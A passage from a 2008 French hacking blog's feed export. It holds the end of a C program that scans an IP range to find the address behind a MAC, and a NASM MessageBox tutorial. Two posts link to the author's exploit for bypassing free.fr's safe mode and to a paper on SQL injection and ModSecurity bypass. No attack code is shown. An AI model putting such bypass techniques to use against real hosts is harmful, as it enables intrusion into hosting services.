k=&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;    j++;&lt;br /&gt;    i++;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; argc, &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; * argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;argc&amp;lt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;"&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;Usage: %s &amp;lt;Mac To Find&amp;gt;xx:xx:xx:xx:xx:xx &amp;lt;Ip Range Start&amp;gt; &amp;lt;Ip Range End&amp;gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;,argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;        exit&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;   RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;   RangeStart&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;   RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;        currentIP&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;100&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;    &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt;        buff&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,buff2&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,buff3&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,buff4&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;20&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    parse&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,RangeStart&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;    parse&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    memcpy&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent,RangeStart,&lt;span style="color: rgb(153, 51, 51);"&gt;sizeof&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;*&lt;span style="color: rgb(204, 102, 204);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&amp;lt;=RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&amp;lt;=RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&amp;lt;=RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;            &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;                &lt;span style="color: rgb(177, 177, 0);"&gt;while&lt;/span&gt; &lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&amp;lt;&lt;span style="color: rgb(204, 102, 204);"&gt;255&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;br /&gt;                &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                    itoa&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,buff,&lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;                    itoa&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,buff2,&lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;                    itoa&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,buff3,&lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;                    itoa&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;,buff4,&lt;span style="color: rgb(204, 102, 204);"&gt;10&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;                    &lt;span style="color: rgb(42, 170, 255); font-style: italic;"&gt;// snprintf au lieu _snprintf si on est pas sous Visual Studio...&lt;/span&gt;&lt;br /&gt;                    _snprintf&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;currentIP,&lt;span style="color: rgb(204, 102, 204);"&gt;100&lt;/span&gt;,&lt;span style="color: rgb(255, 0, 0);"&gt;"%s.%s.%s.%s"&lt;/span&gt;,buff,buff2,buff3,buff4&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;                   &lt;br /&gt;                    ping&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;currentIP&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;               &lt;br /&gt;                    getIPfromMAC&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;argv&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;                    &lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;==RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&amp;amp;&amp;amp;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;==RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&amp;amp;&amp;amp;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;==RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&amp;amp;&amp;amp;&lt;span style="color: rgb(102, 204, 102);"&gt;(&lt;/span&gt;RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;==RangeEnd&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;)&lt;/span&gt;     &lt;br /&gt;                    &lt;span style="color: rgb(102, 204, 102);"&gt;{&lt;/span&gt;&lt;br /&gt;                        &lt;span style="color: rgb(255, 255, 255); font-weight: bold;"&gt;break&lt;/span&gt;;&lt;br /&gt;                    &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;                RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;++; &lt;br /&gt;                &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;            RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;3&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;=&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;            RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;++; &lt;br /&gt;            &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;        RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;=&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;        RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;++; &lt;br /&gt;        &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;    RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;=&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;;&lt;br /&gt;    RangeCurrent&lt;span style="color: rgb(102, 204, 102);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;]&lt;/span&gt;++; &lt;br /&gt;    &lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;span style="color: rgb(102, 204, 102);"&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-5570182867544307145?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/5570182867544307145/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=5570182867544307145' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5570182867544307145'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/5570182867544307145'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/09/arp-reverse-like.html' title='ARP Reverse Like'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-3267915249107279561</id><published>2008-09-22T16:05:00.000+02:00</published><updated>2008-09-22T16:34:29.628+02:00</updated><title type='text'>NASM Pt.2</title><content type='html'>Un peu de zik spéciale c0der de l'extrème:&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 220px; height: 55px;"&gt;&lt;object width="220" height="55"&gt;&lt;param name="movie" value="http://www.deezer.com/embedded/small-widget-v2.swf?idSong=42304&amp;amp;colorBackground=0x555552&amp;amp;textColor1=0xFFFFFF&amp;amp;colorVolume=0x39D1FD&amp;amp;autoplay=0"&gt;&lt;embed src="http://www.deezer.com/embedded/small-widget-v2.swf?idSong=42304&amp;amp;colorBackground=0x525252&amp;amp;textColor1=0xFFFFFF&amp;amp;colorVolume=0x39D1FD&amp;amp;autoplay=0" type="application/x-shockwave-flash" width="220" height="55"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/span&gt;&lt;/div&gt;TTC - J'ai pas sommeil&lt;br /&gt;&lt;br /&gt;Et un petit bout de code en Assembleur NASM, pour afficher une Message Box sous Win (et surtout pour s'initier un peu a l'API Windobe):&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white; padding: 3px;"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;; Constantes et structures prédéfinies pour l'utilisation de l'API Windows&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;%include "win32n.inc"     &lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;; Librairies&lt;br /&gt;; On importe ExitProcess depuis kernel32.dll&lt;br /&gt;; et MessageBoxA depuis user32.dll&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; EXTERN ExitProcess&lt;br /&gt; IMPORT ExitProcess kernel32.dll&lt;br /&gt; EXTERN MessageBoxA&lt;br /&gt; IMPORT MessageBoxA user32.dll&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;; Le segment des données:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; segment .data USE32       &lt;br /&gt;&lt;br /&gt; MessageBox_TITRE    db "Belle MessageBox",0&lt;br /&gt; MessageBox_CONTENU db "5m0k3 c'est mon keupin, il roxX",0&lt;br /&gt;  ErrorCode dd 0&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;; Le segment de code:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; segment .code USE32&lt;br /&gt;             &lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;Début du code&lt;/span&gt;&lt;br /&gt;  ..start:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;On pousse les arguments sur la pile (à l'envers hein...) avant d'appeller MessageBoxA&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;int MessageBox(      &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;    HWND hWnd,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;    LPCTSTR lpText,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;    LPCTSTR lpCaption,&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;    UINT uType&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;);&lt;/span&gt;&lt;br /&gt;  push dword MB_ICONINFORMATION + MB_OKCANCEL&lt;span style="color: rgb(255, 0, 0);"&gt; ; les Boutons : http://bob.developpez.com/tutapiwin/article_19.php&lt;/span&gt;&lt;br /&gt;  push dword MessageBox_TITRE                 &lt;span style="color: rgb(255, 0, 0);"&gt;; Titre&lt;/span&gt;&lt;br /&gt;  push dword MessageBox_CONTENU               ;&lt;span style="color: rgb(255, 0, 0);"&gt; Contenu&lt;/span&gt;&lt;br /&gt;  push dword 0                                &lt;span style="color: rgb(255, 0, 0);"&gt;; Handle du popa, ici il n'y en a pas.&lt;/span&gt;&lt;br /&gt;  call [MessageBoxA]&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;;EAX contient une valeur représentant quel bouton à été cliqué&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;; On pousse le code d'erreur de retour (ici return 0;)   &lt;/span&gt;&lt;br /&gt;  push dword ErrorCode&lt;br /&gt;  call [ExitProcess]&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On aura besoin de ca : &lt;a href="http://rs1.szif.hu/~tomcat/win32/win32n.zip"&gt;http://rs1.szif.hu/~tomcat/win32/win32n.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et des binaires NASM pour Windows : &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=6208&amp;package_id=47034&amp;release_id=625081"&gt;http://sourceforge.net/project/showfiles.php?group_id=6208&amp;package_id=47034&amp;release_id=625081&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Les librairies kernel32.lib et user32.lib pourront être trouvées en installant MASM : &lt;a href="http://www.masm32.com/masmdl.htm"&gt;http://www.masm32.com/masmdl.htm&lt;/a&gt; dans le dossier C:\masm32\lib&lt;br /&gt;&lt;br /&gt;Va maintenant falloir assembler tout ça :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_orYbpGQL4hA/SNepJGWyq2I/AAAAAAAAABw/qUoMt7uI-ug/s1600-h/messageBox.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_orYbpGQL4hA/SNepJGWyq2I/AAAAAAAAABw/qUoMt7uI-ug/s400/messageBox.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5248849864513727330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;D0ne! =)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-3267915249107279561?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/3267915249107279561/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=3267915249107279561' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3267915249107279561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3267915249107279561'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/09/nasm-pt2.html' title='NASM Pt.2'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_orYbpGQL4hA/SNepJGWyq2I/AAAAAAAAABw/qUoMt7uI-ug/s72-c/messageBox.PNG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-3661654766117974937</id><published>2008-09-10T17:00:00.000+02:00</published><updated>2008-09-10T17:08:31.627+02:00</updated><title type='text'>Lamz</title><content type='html'>Je me suis beaucoup "embêté" aujourd'hui alors j'ai rien trouvé de mieux a foutre que d'écrire un sploit pour bypass le safe mode de free.fr...&lt;br /&gt;&lt;br /&gt;Lien &lt;a href="http://other-project.net/tools/Free.fr_safemod_bypass_sploit_by_5m0k3.txt"&gt;ici&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;Faut pas en abuser, promis?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1278381685061151760-3661654766117974937?l=plasticsouptaste.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://plasticsouptaste.blogspot.com/feeds/3661654766117974937/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1278381685061151760&amp;postID=3661654766117974937' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3661654766117974937'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1278381685061151760/posts/default/3661654766117974937'/><link rel='alternate' type='text/html' href='http://plasticsouptaste.blogspot.com/2008/09/lamz.html' title='Lamz'/><author><name>sm0k</name><uri>http://www.blogger.com/profile/02076869472563704465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-kO9i6dNmNhc/TaQdiZEq0tI/AAAAAAAAAEo/MSN_-0xJGHk/s1600/9ebd6c9e0fbb7d82defb512382a224e3.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1278381685061151760.post-4372637316689781696</id><published>2008-09-09T11:30:00.000+02:00</published><updated>2008-09-12T11:15:58.128+02:00</updated><title type='text'>Comme promis...</title><content type='html'>... Voila la trad que j'annonçais hier : &lt;a href="http://other-project.net/ebook/liste/hack/Sybase_SQL_Injection_ModSec_Bypass_Fr.pdf"&gt;ICI&lt;/a&gt; et je remercie les personnes qui m'ont aidé (ma dulcinée et sa moman et ce cher 